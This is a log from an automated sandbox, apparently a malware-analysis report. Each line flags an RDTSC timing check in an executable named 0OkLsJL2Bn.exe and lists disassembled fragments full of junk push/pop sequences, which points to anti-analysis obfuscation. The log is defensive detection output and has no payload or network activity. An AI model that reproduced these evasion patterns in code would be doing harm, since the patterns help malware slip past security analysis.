Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39C502 second address: 39C508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39C508 second address: 39C50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39A9EE second address: 39A9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39A9F2 second address: 39A9FC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39ACC9 second address: 39ACCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39ACCF second address: 39ACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39AE6F second address: 39AE79 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6E3509047Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39B017 second address: 39B01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39B01B second address: 39B035 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E35090476h 0x00000008 jmp 00007F6E3509047Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39B1A3 second address: 39B1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007F6E34BB4FA3h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39B37C second address: 39B380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 39B380 second address: 39B3A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F6E34BB4F8Eh 0x0000000c jmp 00007F6E34BB4F91h 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3A20BA second address: 3A20C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3A20C0 second address: 3A20CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3A1DE4 second address: 3A1DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3A1DE8 second address: 3A1E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F95h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F6E34BB4F86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3A1E0B second address: 3A1E2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F6E35090476h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F6E35090481h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3AF663 second address: 3AF66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3AF66B second address: 3AF67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F6E35090478h 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3AF67D second address: 3AF6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E34BB4F96h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3AF6A3 second address: 3AF6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3AF6A7 second address: 3AF6AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3AF6AB second address: 3AF6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3B2047 second address: 3B204D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3BEE96 second address: 3BEE9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3BEE9B second address: 3BEEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6E34BB4F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3CDAFC second address: 3CDB0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3CCBFA second address: 3CCC1A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F6E34BB4F86h 0x00000009 pop ebx 0x0000000a jnc 00007F6E34BB4F8Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3CCC1A second address: 3CCC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6E35090476h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3CCC26 second address: 3CCC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F6E34BB4F86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3D1AF6 second address: 3D1AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3D1AFC second address: 3D1B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3D1B02 second address: 3D1B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3D1B06 second address: 3D1B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3E0D40 second address: 3E0D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3DDAEE second address: 3DDAF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3DDAF2 second address: 3DDAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3ECE9B second address: 3ECEB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007F6E34BB4F8Ch 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3ECD06 second address: 3ECD29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090489h 0x00000007 jp 00007F6E3509047Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3EE6CF second address: 3EE6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3EE57E second address: 3EE594 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6E3509047Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3F154B second address: 3F155D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6E34BB4F8Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3F12B8 second address: 3F12C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jo 00007F6E35090476h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 405D57 second address: 405D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 405D5B second address: 405D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E35090488h 0x0000000e push esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 405D80 second address: 405D96 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 jbe 00007F6E34BB4F92h 0x0000000e jnp 00007F6E34BB4F86h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 404AC5 second address: 404AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 404C45 second address: 404C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 404F46 second address: 404F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 404F4C second address: 404F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4050E6 second address: 40510C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6E35090476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F6E35090485h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40510C second address: 405136 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6E34BB4F86h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6E34BB4F95h 0x00000010 popad 0x00000011 push edi 0x00000012 jg 00007F6E34BB4F86h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40557C second address: 405580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 405726 second address: 40572A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40572A second address: 405748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E35090482h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4058B5 second address: 4058C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4058C9 second address: 4058CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4058CF second address: 4058D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40B753 second address: 40B757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40B757 second address: 40B75D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40B75D second address: 40B799 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6E35090478h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6E3509047Ch 0x00000012 nop 0x00000013 jp 00007F6E35090479h 0x00000019 mov dx, di 0x0000001c push 00000004h 0x0000001e mov dword ptr [ebp+124473F1h], esi 0x00000024 call 00007F6E35090479h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d pop eax 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40B799 second address: 40B7E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6E34BB4F8Ch 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jnl 00007F6E34BB4F8Ch 0x00000019 jmp 00007F6E34BB4F99h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 pop edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40B7E1 second address: 40B7F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3509047Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40B7F0 second address: 40B805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jo 00007F6E34BB4F8Eh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40BAD1 second address: 40BAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6E35090485h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 40BAF0 second address: 40BAF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32A7B9 second address: 32A7BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32A7BF second address: 32A7D1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E34BB4F88h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32A7D1 second address: 32A7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32A7D6 second address: 32A7E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6E34BB4F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70313 second address: 4A70319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70319 second address: 4A7031D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A7031D second address: 4A7033E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090483h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov cx, 88A1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A7033E second address: 4A70352 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 0DDDh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, dx 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70352 second address: 4A7037F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090489h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E3509047Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A7037F second address: 4A703C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007F6E34BB4F93h 0x0000000c add ch, 0000000Eh 0x0000000f jmp 00007F6E34BB4F99h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A703C1 second address: 4A703C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A703C5 second address: 4A703D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A703D8 second address: 4A703DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A703DE second address: 4A70409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F6E34BB4F97h 0x00000010 mov ecx, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70409 second address: 4A7040D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A7040D second address: 4A70413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70413 second address: 4A70419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90625 second address: 4A9063E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 movzx ecx, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov si, bx 0x00000013 mov edx, 34F824FEh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9063E second address: 4A90644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90644 second address: 4A90648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90648 second address: 4A90673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov edi, esi 0x0000000e pushad 0x0000000f mov dx, cx 0x00000012 mov si, CE9Dh 0x00000016 popad 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6E3509047Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90673 second address: 4A90678 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90678 second address: 4A906FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6E35090485h 0x0000000a and si, 4896h 0x0000000f jmp 00007F6E35090481h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ecx 0x00000019 pushad 0x0000001a movzx esi, dx 0x0000001d pushfd 0x0000001e jmp 00007F6E35090489h 0x00000023 add cx, 9CA6h 0x00000028 jmp 00007F6E35090481h 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F6E35090481h 0x00000035 xchg eax, ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A906FC second address: 4A9070F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9070F second address: 4A90715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
